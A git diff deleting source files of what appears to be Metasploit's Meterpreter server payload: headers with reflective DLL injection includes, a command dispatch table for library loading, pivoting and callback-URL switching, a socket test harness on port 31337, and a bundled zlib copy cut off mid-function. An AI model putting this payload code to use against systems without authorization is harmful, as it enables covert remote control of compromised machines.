100755 index c0bf4553..00000000 --- a/c/meterpreter/source/server/metsrv.h +++ /dev/null @@ -1,47 +0,0 @@ -#ifndef _METERPRETER_SERVER_METSRV_H -#define _METERPRETER_SERVER_METSRV_H - -/* - * Version number - * v------- major major - * v----- major minor - * v--- minor major - * v- minor minor - */ -#define METSRV_VERSION_NUMBER 0x00010001 - -#define _WIN32_WINNT 0x0500 -#define USE_DLL - -#define METERPRETER_EXPORTS -#include "../common/common.h" -#include "config.h" - -#include "remote_dispatch.h" -#include "libloader.h" - -#include "../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" -#include "../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" -#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" - -DWORD server_setup(MetsrvConfig* config); -typedef DWORD (*PSRVINIT)(Remote *remote); -typedef DWORD (*PSRVDEINIT)(Remote *remote); -typedef DWORD (*PSRVGETNAME)(char* buffer, int bufferSize); -typedef VOID (*PCMDADDED)(const char* commandName); -typedef DWORD (*PSTAGELESSINIT)(LPBYTE data, DWORD dataSize); - -typedef struct _EXTENSION -{ - HMODULE library; - PSRVINIT init; - PSRVDEINIT deinit; - PSRVGETNAME getname; - PCMDADDED commandAdded; - PSTAGELESSINIT stagelessInit; - Command* start; - Command* end; - char name[16]; -} EXTENSION, *PEXTENSION; - -#endif diff --git a/c/meterpreter/source/server/remote_dispatch_common.c b/c/meterpreter/source/server/remote_dispatch_common.c deleted file mode 100755 index be289fd9..00000000 --- a/c/meterpreter/source/server/remote_dispatch_common.c +++ /dev/null @@ -1,135 +0,0 @@ -#include "metsrv.h" -#include "win\server_pivot.h" - -// see ReflectiveLoader.c... -extern HINSTANCE hAppInstance; - -PLIST gExtensionList = NULL; - -DWORD request_core_enumextcmd(Remote* remote, Packet* packet); -DWORD request_core_machine_id(Remote* remote, Packet* packet); -DWORD request_core_get_session_guid(Remote* remote, Packet* packet); -DWORD request_core_set_session_guid(Remote* remote, Packet* packet); -DWORD request_core_set_uuid(Remote* remote, Packet* packet); -BOOL request_core_patch_url(Remote* remote, Packet* packet, DWORD* result); - -// Dispatch table -Command customCommands[] = -{ - COMMAND_REQ("core_loadlib", request_core_loadlib), - COMMAND_REQ("core_enumextcmd", request_core_enumextcmd), - COMMAND_REQ("core_machine_id", request_core_machine_id), - COMMAND_REQ("core_get_session_guid", request_core_get_session_guid), - COMMAND_REQ("core_set_session_guid", request_core_set_session_guid), - COMMAND_REQ("core_set_uuid", request_core_set_uuid), - COMMAND_REQ("core_pivot_add", request_core_pivot_add), - COMMAND_REQ("core_pivot_remove", request_core_pivot_remove), - COMMAND_INLINE_REP("core_patch_url", request_core_patch_url), - COMMAND_TERMINATOR -}; - -typedef struct _EnumExtensions -{ - Packet* pResponse; - char* lpExtensionName; -} EnumExtensions, * PEnumExtensions; - -BOOL ext_cmd_callback(LPVOID pState, LPVOID pData) -{ - PEnumExtensions pEnum = (PEnumExtensions)pState; - Command* command = NULL; - - if (pEnum != NULL && pEnum->pResponse != NULL && pData != NULL) - { - PEXTENSION pExt = (PEXTENSION)pData; - if (pExt->name[0] != '\0' && pEnum->lpExtensionName != NULL && strcmp(pExt->name, pEnum->lpExtensionName) == 0) - { - dprintf("[LISTEXT] Found extension: %s", pExt->name); - for (command = pExt->start; command != pExt->end; command = command->next) - { - packet_add_tlv_string(pEnum->pResponse, TLV_TYPE_STRING, command->method); - } - dprintf("[LISTEXT] Finished listing extension: %s", pExt->name); - - return TRUE; - } - } - return FALSE; -} - -BOOL request_core_patch_url(Remote* remote, Packet* packet, DWORD* result) -{ - // this is a special case because we don't actually send - // response to this. This is a brutal switch without any - // other forms of comms, and this is because of stageless - // payloads - if (remote->transport->type == METERPRETER_TRANSPORT_TCP) - { - // This shouldn't happen. - *result = ERROR_INVALID_STATE; - } - else - { - HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; - ctx->new_uri = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); - *result = ERROR_SUCCESS; - } - return TRUE; -} - -DWORD request_core_enumextcmd(Remote* remote, Packet* packet) -{ - BOOL bResult = FALSE; - Packet* pResponse = packet_create_response(packet); - - if (pResponse != NULL) - { - EnumExtensions enumExt; - enumExt.pResponse = pResponse; - enumExt.lpExtensionName = packet_get_tlv_value_string(packet, TLV_TYPE_STRING); - - dprintf("[LISTEXTCMD] Listing extension commands for %s ...", enumExt.lpExtensionName); - // Start by enumerating the names of the extensions - bResult = list_enumerate(gExtensionList, ext_cmd_callback, &enumExt); - - packet_transmit_response(ERROR_SUCCESS, remote, pResponse); - } - - return ERROR_SUCCESS; -} - -/* - * Registers custom command handlers - */ -VOID register_dispatch_routines() -{ - gExtensionList = list_create(); - - command_register_all(customCommands); -} - -/* - * Deregisters previously registered custom commands and loaded extensions. - */ -VOID deregister_dispatch_routines(Remote * remote) -{ - while (TRUE) - { - PEXTENSION extension = list_pop(gExtensionList); - if (!extension) - { - break; - } - - if (extension->deinit) - { - extension->deinit(remote); - } - - free(extension); - } - - command_deregister_all(customCommands); - - list_destroy(gExtensionList); -} diff --git a/c/meterpreter/source/server/win/metsrv.def b/c/meterpreter/source/server/win/metsrv.def deleted file mode 100644 index 2dbcf2bf..00000000 --- a/c/meterpreter/source/server/win/metsrv.def +++ /dev/null @@ -1,3 +0,0 @@ -LIBRARY metsrv.dll - -EXPORTS diff --git a/c/meterpreter/source/server/win/metsrv_test.c b/c/meterpreter/source/server/win/metsrv_test.c deleted file mode 100644 index 3d3bee37..00000000 --- a/c/meterpreter/source/server/win/metsrv_test.c +++ /dev/null @@ -1,81 +0,0 @@ -#include -#include -#include - -#define PORT 31337 - -int main(int argc, char **argv) -{ - struct sockaddr_in s; - DWORD (*init)(SOCKET fd); - PCHAR dllPath, slash; - SOCKET srv, cli; - HMODULE lib; - WSADATA data; - - WSAStartup(0x0202, &data); - - do - { - if (argc == 1) - { - printf("need dll path\n"); - break; - } - - if (!(dllPath = (PCHAR)malloc(strlen(argv[0]+5)))) - { - fprintf(stderr, "could not duplicate argv\n"); - break; - } - - printf("loading from %s\n", argv[1]); - - lib = LoadLibrary(argv[1]); - - if ((!lib) || - (!((LPVOID)init = (LPVOID)GetProcAddress(lib, "Init")))) - { - fprintf(stderr, "could not load metsrv.dll, %lu\n", GetLastError()); - break; - } - - if ((srv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) - { - fprintf(stderr, "listen: %lu\n", GetLastError()); - break; - } - - s.sin_family = AF_INET; - s.sin_port = htons(PORT); - s.sin_addr.s_addr = INADDR_ANY; - - printf("Listening on port %d...\n", PORT); - - if (bind(srv, (struct sockaddr *)&s, sizeof(s)) < 0) - { - fprintf(stderr, "bind: %lu\n", GetLastError()); - break; - } - - if (listen(srv, 1) < 0) - { - fprintf(stderr, "listen: %lu\n", GetLastError()); - break; - } - - if ((cli = accept(srv, NULL, NULL)) < 0) - { - fprintf(stderr, "accept: %lu\n", GetLastError()); - break; - } - - printf("Initialized with client fd %lu.\n", cli); - - init(cli); - - } while (0); - - free(dllPath); - return 0; -} diff --git a/c/meterpreter/source/server/win/server_transport_wininet.h b/c/meterpreter/source/server/win/server_transport_wininet.h deleted file mode 100755 index 8898e9ab..00000000 --- a/c/meterpreter/source/server/win/server_transport_wininet.h +++ /dev/null @@ -1,6 +0,0 @@ -#ifndef _METERPRETER_SERVER_TRANSPORT_WININET -#define _METERPRETER_SERVER_TRANSPORT_WININET - -void transport_move_to_wininet(Transport* transport); - -#endif \ No newline at end of file diff --git a/c/meterpreter/source/server/zlib/zlib.c b/c/meterpreter/source/server/zlib/zlib.c deleted file mode 100644 index 150ff05e..00000000 --- a/c/meterpreter/source/server/zlib/zlib.c +++ /dev/null @@ -1,5379 +0,0 @@ -/* - * This file is derived from various .h and .c files from the zlib-1.0.4 - * distribution by Jean-loup Gailly and Mark Adler, with some additions - * by Paul Mackerras to aid in implementing Deflate compression and - * decompression for PPP packets. See zlib.h for conditions of - * distribution and use. - * - * Changes that have been made include: - * - added Z_PACKET_FLUSH (see zlib.h for details) - * - added inflateIncomp and deflateOutputPending - * - allow strm->next_out to be NULL, meaning discard the output - * - */ - -/* - * ==FILEVERSION 971210== - * - * This marker is used by the Linux installation script to determine - * whether an up-to-date version of this file is already installed. - */ - -#define NO_DUMMY_DECL - -#ifndef MIN -/* Macros for min/max. */ -#define MIN(a,b) (((a)<(b))?(a):(b)) -#define MAX(a,b) (((a)>(b))?(a):(b)) -#endif - -/* +++ zutil.h */ -/*- - * zutil.h -- internal interface and configuration of the compression library - * Copyright (C) 1995-1996 Jean-loup Gailly. - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -/* From: zutil.h,v 1.16 1996/07/24 13:41:13 me Exp $ */ - -#ifndef _Z_UTIL_H -#define _Z_UTIL_H - -#include "zlib.h" - -#ifdef _KERNEL -/* Assume this is a *BSD or SVR4 kernel */ -#include -#include -#include -#include -#include -#include -# define HAVE_MEMCPY - -#else -#if defined(__KERNEL__) -/* Assume this is a Linux kernel */ -#include -#define HAVE_MEMCPY - -#else /* not kernel */ - -#if defined(MSDOS)||defined(VMS)||defined(CRAY)||defined(WIN32)||defined(RISCOS) -# include -# include -#else - extern int errno; -#endif -#ifdef STDC -# include -# include -#endif -#endif /* __KERNEL__ */ -#endif /* _KERNEL */ - -#ifndef local -# define local static -#endif -/* compile with -Dlocal if your debugger can't find static symbols */ - -typedef unsigned char uch; -typedef uch FAR uchf; -typedef unsigned short ush; -typedef ush FAR ushf; -typedef unsigned long ulg; - -static const char *z_errmsg[10]; /* indexed by 2-zlib_error */ -/* (size given to avoid silly warnings with Visual C++) */ - -#define ERR_MSG(err) z_errmsg[Z_NEED_DICT-(err)] - -#define ERR_RETURN(strm,err) \ - return (strm->msg = (const char*)ERR_MSG(err), (err)) -/* To be used only when the state is known to be valid */ - - /* common constants */ - -#ifndef DEF_WBITS -# define DEF_WBITS MAX_WBITS -#endif -/* default windowBits for decompression. MAX_WBITS is for compression only */ - -#if MAX_MEM_LEVEL >= 8 -# define DEF_MEM_LEVEL 8 -#else -# define DEF_MEM_LEVEL MAX_MEM_LEVEL -#endif -/* default memLevel */ - -#define STORED_BLOCK 0 -#define STATIC_TREES 1 -#define DYN_TREES 2 -/* The three kinds of block type */ - -#define MIN_MATCH 3 -#define MAX_MATCH 258 -/* The minimum and maximum match lengths */ - -#define PRESET_DICT 0x20 /* preset dictionary flag in zlib header */ - - /* target dependencies */ - -#ifdef MSDOS -# define OS_CODE 0x00 -# ifdef __TURBOC__ -# include -# else /* MSC or DJGPP */ -# include -# endif -#endif - -#ifdef OS2 -# define OS_CODE 0x06 -#endif - -#ifdef WIN32 /* Window 95 & Windows NT */ -# define OS_CODE 0x0b -#endif - -#if defined(VAXC) || defined(VMS) -# define OS_CODE 0x02 -# define FOPEN(name, mode) \ - fopen((name), (mode), "mbc=60", "ctx=stm", "rfm=fix", "mrs=512") -#endif - -#ifdef AMIGA -# define OS_CODE 0x01 -#endif - -#if defined(ATARI) || defined(atarist) -# define OS_CODE 0x05 -#endif - -#ifdef MACOS -# define OS_CODE 0x07 -#endif - -#ifdef __50SERIES /* Prime/PRIMOS */ -# define OS_CODE 0x0F -#endif - -#ifdef TOPS20 -# define OS_CODE 0x0a -#endif - -#if defined(_BEOS_) || defined(RISCOS) -# define fdopen(fd,mode) NULL /* No fdopen() */ -#endif - - /* Common defaults */ - -#ifndef OS_CODE -# define OS_CODE 0x03 /* assume Unix */ -#endif - -#ifndef FOPEN -# define FOPEN(name, mode) fopen((name), (mode)) -#endif - - /* functions */ - -#ifdef HAVE_STRERROR - extern char *strerror OF((int)); -# define zstrerror(errnum) strerror(errnum) -#else -# define zstrerror(errnum) "" -#endif - -#if defined(pyr) -# define NO_MEMCPY -#endif -#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(_MSC_VER) - /* Use our own functions for small and medium model with MSC <= 5.0. - * You may have to use the same strategy for Borland C (untested). - */ -# define NO_MEMCPY -#endif -#if defined(STDC) && !defined(HAVE_MEMCPY) && !defined(NO_MEMCPY) -# define HAVE_MEMCPY -#endif -#ifdef HAVE_MEMCPY -# ifdef SMALL_MEDIUM /* MSDOS small or medium model */ -# define zmemcpy _fmemcpy -# define zmemcmp _fmemcmp -# define zmemzero(dest, len) _fmemset(dest, 0, len) -# else -# define zmemcpy memcpy -# define zmemcmp memcmp -# define zmemzero(dest, len) memset(dest, 0, len) -# endif -#else - extern void zmemcpy OF((Bytef* dest, Bytef* source, uInt len)); - extern int zmemcmp OF((Bytef* s1, Bytef* s2, uInt len)); - extern void zmemzero OF((Bytef* dest, uInt len)); -#endif - -/* Diagnostic functions */ -#ifdef DEBUG_ZLIB -# include -# ifndef verbose -# define verbose 0 -# endif - extern void z_error OF((char *m)); -# define Assert(cond,msg) {if(!(cond)) z_error(msg);} -# define Trace(x) fprintf x -# define Tracev(x) {if (verbose) fprintf x ;} -# define Tracevv(x) {if (verbose>1) fprintf x ;} -# define Tracec(c,x) {if (verbose && (c)) fprintf x ;} -# define Tracecv(c,x) {if (verbose>1 && (c)) fprintf x ;} -#else -# define Assert(cond,msg) -# define Trace(x) -# define Tracev(x) -# define Tracevv(x) -# define Tracec(c,x) -# define Tracecv(c,x) -#endif - - -typedef uLong (*check_func) OF((uLong check, const Bytef *buf, uInt len)); - -voidpf zcalloc OF((voidpf opaque, unsigned items, unsigned size)); -void zcfree OF((voidpf opaque, voidpf ptr)); - -#define ZALLOC(strm, items, size) \ - (*((strm)->zalloc))((strm)->opaque, (items), (size)) -#define ZFREE(strm, addr) (*((strm)->zfree))((strm)->opaque, (voidpf)(addr)) -#define TRY_FREE(s, p) {if (p) ZFREE(s, p);} - -#endif /* _Z_UTIL_H */ -/* --- zutil.h */ - -/* +++ deflate.h */ -/* deflate.h -- internal compression state - * Copyright (C) 1995-1996 Jean-loup Gailly - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -/* From: deflate.h,v 1.10 1996/07/02 12:41:00 me Exp $ */ - -#ifndef _DEFLATE_H -#define _DEFLATE_H - -/* #include "zutil.h" */ - -/* =========================================================================== - * Internal compression state. - */ - -#define LENGTH_CODES 29 -/* number of length codes, not counting the special END_BLOCK code */ - -#define LITERALS 256 -/* number of literal bytes 0..255 */ - -#define L_CODES (LITERALS+1+LENGTH_CODES) -/* number of Literal or Length codes, including the END_BLOCK code */ - -#define D_CODES 30 -/* number of distance codes */ - -#define BL_CODES 19 -/* number of codes used to transfer the bit lengths */ - -#define HEAP_SIZE (2*L_CODES+1) -/* maximum heap size */ - -#define MAX_BITS 15 -/* All codes must not exceed MAX_BITS bits */ - -#define INIT_STATE 42 -#define BUSY_STATE 113 -#define FINISH_STATE 666 -/* Stream status */ - - -/* Data structure describing a single value and its code string. */ -typedef struct ct_data_s { - union { - ush freq; /* frequency count */ - ush code; /* bit string */ - } fc; - union { - ush dad; /* father node in Huffman tree */ - ush len; /* length of bit string */ - } dl; -} FAR ct_data; - -#define Freq fc.freq -#define Code fc.code -#define Dad dl.dad -#define Len dl.len - -typedef struct static_tree_desc_s static_tree_desc; - -typedef struct tree_desc_s { - ct_data *dyn_tree; /* the dynamic tree */ - int max_code; /* largest code with non zero frequency */ - static_tree_desc *stat_desc; /* the corresponding static tree */ -} FAR tree_desc; - -typedef ush Pos; -typedef Pos FAR Posf; -typedef unsigned IPos; - -/* A Pos is an index in the character window. We use short instead of int to - * save space in the various tables. IPos is used only for parameter passing. - */ - -typedef struct deflate_state { - z_streamp strm; /* pointer back to this zlib stream */ - int status; /* as the name implies */ - Bytef *pending_buf; /* output still pending */ - ulg pending_buf_size; /* size of pending_buf */ - Bytef *pending_out; /* next pending byte to output to the stream */ - int pending; /* nb of bytes in the pending buffer */ - int noheader; /* suppress zlib header and adler32 */ - Byte data_type; /* UNKNOWN, BINARY or ASCII */ - Byte method; /* STORED (for zip only) or DEFLATED */ - int last_flush; /* value of flush param for previous deflate call */ - - /* used by deflate.c: */ - - uInt w_size; /* LZ77 window size (32K by default) */ - uInt w_bits; /* log2(w_size) (8..16) */ - uInt w_mask; /* w_size - 1 */ - - Bytef *window; - /* Sliding window. Input bytes are read into the second half of the window, - * and move to the first half later to keep a dictionary of at least wSize - * bytes. With this organization, matches are limited to a distance of - * wSize-MAX_MATCH bytes, but this ensures that IO is always - * performed with a length multiple of the block size. Also, it limits - * the window size to 64K, which is quite useful on MSDOS. - * To do: use the user input buffer as sliding window. - */ - - ulg window_size; - /* Actual size of window: 2*wSize, except when the user input buffer - * is directly used as sliding window. - */ - - Posf *prev; - /* Link to older string with same hash index. To limit the size of this - * array to 64K, this link is maintained only for the last 32K strings. - * An index in this array is thus a window index modulo 32K. - */ - - Posf *head; /* Heads of the hash chains or NIL. */ - - uInt ins_h; /* hash index of string to be inserted */ - uInt hash_size; /* number of elements in hash table */ - uInt hash_bits; /* log2(hash_size) */ - uInt hash_mask; /* hash_size-1 */ - - uInt hash_shift; - /* Number of bits by which ins_h must be shifted at each input - * step. It must be such that after MIN_MATCH steps, the oldest - * byte no longer takes part in the hash key, that is: - * hash_shift * MIN_MATCH >= hash_bits - */ - - long block_start; - /* Window position at the beginning of the current output block. Gets - * negative when the window is moved backwards. - */ - - uInt match_length; /* length of best match */ - IPos prev_match; /* previous match */ - int match_available; /* set if previous match exists */ - uInt strstart; /* start of string to insert */ - uInt match_start; /* start of matching string */ - uInt lookahead; /* number of valid bytes ahead in window */ - - uInt prev_length; - /* Length of the best match at previous step. Matches not greater than this - * are discarded. This is used in the lazy match evaluation. - */ - - uInt max_chain_length; - /* To speed up deflation, hash chains are never searched beyond this - * length. A higher limit improves compression ratio but degrades the - * speed. - */ - - uInt max_lazy_match; - /* Attempt to find a better match only when the current match is strictly - * smaller than this value. This mechanism is used only for compression - * levels >= 4. - */ -# define max_insert_length max_lazy_match - /* Insert new strings in the hash table only if the match length is not - * greater than this length. This saves time but degrades compression. - * max_insert_length is used only for compression levels <= 3. - */ - - int level; /* compression level (1..9) */ - int strategy; /* favor or force Huffman coding*/ - - uInt good_match; - /* Use a faster search when the previous match is longer than this */ - - int nice_match; /* Stop searching when current match exceeds this */ - - /* used by trees.c: */ - /* Didn't use ct_data typedef below to supress compiler warning */ - struct ct_data_s dyn_ltree[HEAP_SIZE]; /* literal and length tree */ - struct ct_data_s dyn_dtree[2*D_CODES+1]; /* distance tree */ - struct ct_data_s bl_tree[2*BL_CODES+1]; /* Huffman tree for bit lengths */ - - struct tree_desc_s l_desc; /* desc. for literal tree */ - struct tree_desc_s d_desc; /* desc. for distance tree */ - struct tree_desc_s bl_desc; /* desc. for bit length tree */ - - ush bl_count[MAX_BITS+1]; - /* number of codes at each bit length for an optimal tree */ - - int heap[2*L_CODES+1]; /* heap used to build the Huffman trees */ - int heap_len; /* number of elements in the heap */ - int heap_max; /* element of largest frequency */ - /* The sons of heap[n] are heap[2*n] and heap[2*n+1]. heap[0] is not used. - * The same heap array is used to build all trees. - */ - - uch depth[2*L_CODES+1]; - /* Depth of each subtree used as tie breaker for trees of equal frequency - */ - - uchf *l_buf; /* buffer for literals or lengths */ - - uInt lit_bufsize; - /* Size of match buffer for literals/lengths. There are 4 reasons for - * limiting lit_bufsize to 64K: - * - frequencies can be kept in 16 bit counters - * - if compression is not successful for the first block, all input - * data is still in the window so we can still emit a stored block even - * when input comes from standard input. (This can also be done for - * all blocks if lit_bufsize is not greater than 32K.) - * - if compression is not successful for a file smaller than 64K, we can - * even emit a stored file instead of a stored block (saving 5 bytes). - * This is applicable only for zip (not gzip or zlib). - * - creating new Huffman trees less frequently may not provide fast - * adaptation to changes in the input data statistics. (Take for - * example a binary file with poorly compressible code followed by - * a highly compressible string table.) Smaller buffer sizes give - * fast adaptation but have of course the overhead of transmitting - * trees more frequently. - * - I can't count above 4 - */ - - uInt last_lit; /* running index in l_buf */ - - ushf *d_buf; - /* Buffer for distances. To simplify the code, d_buf and l_buf have - * the same number of elements. To use different lengths, an extra flag - * array would be necessary. - */ - - ulg opt_len; /* bit length of current block with optimal trees */ - ulg static_len; /* bit length of current block with static trees */ - ulg compressed_len; /* total bit length of compressed file */ - uInt matches; /* number of string matches in current block */ - int last_eob_len; /* bit length of EOB code for last block */ - -#ifdef DEBUG_ZLIB - ulg bits_sent; /* bit length of the compressed data */ -#endif - - ush bi_buf; - /* Output buffer. bits are inserted starting at the bottom (least - * significant bits). - */ - int bi_valid; - /* Number of valid bits in bi_buf. All bits above the last valid bit - * are always zero. - */ - -} FAR deflate_state; - -/* Output a byte on the stream. - * IN assertion: there is enough room in pending_buf. - */ -#define put_byte(s, c) {s->pending_buf[s->pending++] = (c);} - - -#define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1) -/* Minimum amount of lookahead, except at the end of the input file. - * See deflate.c for comments about the MIN_MATCH+1. - */ - -#define MAX_DIST(s) ((s)->w_size-MIN_LOOKAHEAD) -/* In order to simplify the code, particularly on 16 bit machines, match - * distances are limited to MAX_DIST instead of WSIZE. - */ - - /* in trees.c */ -void _tr_init OF((deflate_state *s)); -int _tr_tally OF((deflate_state *s, unsigned dist, unsigned lc)); -ulg _tr_flush_block OF((deflate_state *s, charf *buf, ulg stored_len, - int eof)); -void _tr_align OF((deflate_state *s)); -void _tr_stored_block OF((deflate_state *s, charf *buf, ulg stored_len, - int eof)); -void _tr_stored_type_only OF((deflate_state *)); - -#endif -/* --- deflate.h */ - -/* +++ deflate.c */ -/* deflate.c -- compress data using the deflation algorithm - * Copyright (C) 1995-1996 Jean-loup Gailly. - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* - * ALGORITHM - * - * The "deflation" process depends on being able to identify portions - * of the input text which are identical to earlier input (within a - * sliding window trailing behind the input currently being processed). - * - * The most straightforward technique turns out to be the fastest for - * most input files: try all possible matches and select the longest. - * The key feature of this algorithm is that insertions into the string - * dictionary are very simple and thus fast, and deletions are avoided - * completely. Insertions are performed at each input character, whereas - * string matches are performed only when the previous match ends. So it - * is preferable to spend more time in matches to allow very fast string - * insertions and avoid deletions. The matching algorithm for small - * strings is inspired from that of Rabin & Karp. A brute force approach - * is used to find longer strings when a small match has been found. - * A similar algorithm is used in comic (by Jan-Mark Wams) and freeze - * (by Leonid Broukhis). - * A previous version of this file used a more sophisticated algorithm - * (by Fiala and Greene) which is guaranteed to run in linear amortized - * time, but has a larger average cost, uses more memory and is patented. - * However the F&G algorithm may be faster for some highly redundant - * files if the parameter max_chain_length (described below) is too large. - * - * ACKNOWLEDGEMENTS - * - * The idea of lazy evaluation of matches is due to Jan-Mark Wams, and - * I found it in 'freeze' written by Leonid Broukhis. - * Thanks to many people for bug reports and testing. - * - * REFERENCES - * - * Deutsch, L.P.,"DEFLATE Compressed Data Format Specification". - * Available in ftp://ds.internic.net/rfc/rfc1951.txt - * - * A description of the Rabin and Karp algorithm is given in the book - * "Algorithms" by R. Sedgewick, Addison-Wesley, p252. - * - * Fiala,E.R., and Greene,D.H. - * Data Compression with Finite Windows, Comm.ACM, 32,4 (1989) 490-595 - * - */ - -/* From: deflate.c,v 1.15 1996/07/24 13:40:58 me Exp $ */ - -/* #include "deflate.h" */ - -char deflate_copyright[] = " deflate 1.0.4 Copyright 1995-1996 Jean-loup Gailly "; -/* - If you use the zlib library in a product, an acknowledgment is welcome - in the documentation of your product. If for some reason you cannot - include such an acknowledgment, I would appreciate that you keep this - copyright string in the executable of your product. - */ - -/* =========================================================================== - * Function prototypes. - */ -typedef enum { - need_more, /* block not completed, need more input or more output */ - block_done, /* block flush performed */ - finish_started, /* finish started, need only more output at next deflate */ - finish_done /* finish done, accept no more input or output */ -} block_state; - -typedef block_state (*compress_func) OF((deflate_state *s, int flush)); -/* Compression function. Returns the block state after the call. */ - -local void fill_window OF((deflate_state *s)); -local block_state deflate_stored OF((deflate_state *s, int flush)); -local block_state deflate_fast OF((deflate_state *s, int flush)); -local block_state deflate_slow OF((deflate_state *s, int flush)); -local void lm_init OF((deflate_state *s)); -local void putShortMSB OF((deflate_state *s, uInt b)); -local void flush_pending OF((z_streamp strm)); -local int read_buf OF((z_streamp strm, charf *buf, unsigned size)); -#ifdef ASMV - void match_init OF((void)); /* asm code initialization */ - uInt longest_match OF((deflate_state *s, IPos cur_match)); -#else -local uInt longest_match OF((deflate_state *s, IPos cur_match)); -#endif - -#ifdef DEBUG_ZLIB -local void check_match OF((deflate_state *s, IPos start, IPos match, - int length)); -#endif - -/* =========================================================================== - * Local data - */ - -#define NIL 0 -/* Tail of hash chains */ - -#ifndef TOO_FAR -# define TOO_FAR 4096 -#endif -/* Matches of length 3 are discarded if their distance exceeds TOO_FAR */ - -#define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1) -/* Minimum amount of lookahead, except at the end of the input file. - * See deflate.c for comments about the MIN_MATCH+1. - */ - -/* Values for max_lazy_match, good_match and max_chain_length, depending on - * the desired pack level (0..9). The values given below have been tuned to - * exclude worst case performance for pathological files. Better values may be - * found for specific files. - */ -typedef struct config_s { - ush good_length; /* reduce lazy search above this match length */ - ush max_lazy; /* do not perform lazy search above this match length */ - ush nice_length; /* quit search above this match length */ - ush max_chain; - compress_func func; -} config; - -local config configuration_table[10] = { -/* good lazy nice chain */ -/* 0 */ {0, 0, 0, 0, deflate_stored}, /* store only */ -/* 1 */ {4, 4, 8, 4, deflate_fast}, /* maximum speed, no lazy matches */ -/* 2 */ {4, 5, 16, 8, deflate_fast}, -/* 3 */ {4, 6, 32, 32, deflate_fast}, - -/* 4 */ {4, 4, 16, 16, deflate_slow}, /* lazy matches */ -/* 5 */ {8, 16, 32, 32, deflate_slow}, -/* 6 */ {8, 16, 128, 128, deflate_slow}, -/* 7 */ {8, 32, 128, 256, deflate_slow}, -/* 8 */ {32, 128, 258, 1024, deflate_slow}, -/* 9 */ {32, 258, 258, 4096, deflate_slow}}; /* maximum compression */ - -/* Note: the deflate() code requires max_lazy >= MIN_MATCH and max_chain >= 4 - * For deflate_fast() (levels <= 3) good is ignored and lazy has a different - * meaning. - */ - -#define EQUAL 0 -/* result of memcmp for equal strings */ - -#ifndef NO_DUMMY_DECL -struct static_tree_desc_s {int dummy;}; /* for buggy compilers */ -#endif - -/* =========================================================================== - * Update a hash value with the given input byte - * IN assertion: all calls to to UPDATE_HASH are made with consecutive - * input characters, so that a running hash key can be computed from the - * previous key instead of complete recalculation each time. - */ -#define UPDATE_HASH(s,h,c) (h = (((h)<hash_shift) ^ (c)) & s->hash_mask) - - -/* =========================================================================== - * Insert string str in the dictionary and set match_head to the previous head - * of the hash chain (the most recent string with same hash key). Return - * the previous length of the hash chain. - * IN assertion: all calls to to INSERT_STRING are made with consecutive - * input characters and the first MIN_MATCH bytes of str are valid - * (except for the last MIN_MATCH-1 bytes of the input file). - */ -#define INSERT_STRING(s, str, match_head) \ - (UPDATE_HASH(s, s->ins_h, s->window[(str) + (MIN_MATCH-1)]), \ - s->prev[(str) & s->w_mask] = match_head = s->head[s->ins_h], \ - s->head[s->ins_h] = (Pos)(str)) - -/* =========================================================================== - * Initialize the hash table (avoiding 64K overflow for 16 bit systems). - * prev[] will be initialized on the fly. - */ -#define CLEAR_HASH(s) \ - s->head[s->hash_size-1] = NIL; \ - zmemzero((charf *)s->head, (unsigned)(s->hash_size-1)*sizeof(*s->head)); - -/* ========================================================================= */ -int deflateInit_(strm, level, version, stream_size) - z_streamp strm; - int level; - const char *version; - int stream_size; -{ - return deflateInit2_(strm, level, Z_DEFLATED, MAX_WBITS, DEF_MEM_LEVEL, - Z_DEFAULT_STRATEGY, version, stream_size); - /* To do: ignore strm->next_in if we use it as window */ -} - -/* ========================================================================= */ -int deflateInit2_(strm, level, method, windowBits, memLevel, strategy, - version, stream_size) - z_streamp strm; - int level; - int method; - int windowBits; - int memLevel; - int strategy; - const char *version; - int stream_size; -{ - deflate_state *s; - int noheader = 0; - static char* my_version = ZLIB_VERSION; - - ushf *overlay; - /* We overlay pending_buf and d_buf+l_buf. This works since the average - * output size for (length,distance) codes is <= 24 bits. - */ - - if (version == Z_NULL || version[0] != my_version[0] || - stream_size != sizeof(z_stream)) { - return Z_VERSION_ERROR; - } - if (strm == Z_NULL) return Z_STREAM_ERROR; - - strm->msg = Z_NULL; -#ifndef NO_ZCFUNCS - if (strm->zalloc == Z_NULL) { - strm->zalloc = zcalloc; - strm->opaque = (voidpf)0; - } - if (strm->zfree == Z_NULL) strm->zfree = zcfree; -#endif - - if (level == Z_DEFAULT_COMPRESSION) level = 6; - - if (windowBits < 0) { /* undocumented feature: suppress zlib header */ - noheader = 1; - windowBits = -windowBits; - } - if (memLevel < 1 || memLevel > MAX_MEM_LEVEL || method != Z_DEFLATED || - windowBits < 9 || windowBits > 15 || level < 0 || level > 9 || - strategy < 0 || strategy > Z_HUFFMAN_ONLY) { - return Z_STREAM_ERROR; - } - s = (deflate_state *) ZALLOC(strm, 1, sizeof(deflate_state)); - if (s == Z_NULL) return Z_MEM_ERROR; - strm->state = (struct internal_state FAR *)s; - s->strm = strm; - - s->noheader = noheader; - s->w_bits = windowBits; - s->w_size = 1 << s->w_bits; - s->w_mask = s->w_size - 1; - - s->hash_bits = memLevel + 7; - s->hash_size = 1 << s->hash_bits; - s->hash_mask = s->hash_size - 1; - s->hash_shift = ((s->hash_bits+MIN_MATCH-1)/MIN_MATCH); - - s->window = (Bytef *) ZALLOC(strm, s->w_size, 2*sizeof(Byte)); - s->prev = (Posf *) ZALLOC(strm, s->w_size, sizeof(Pos)); - s->head = (Posf *) ZALLOC(strm, 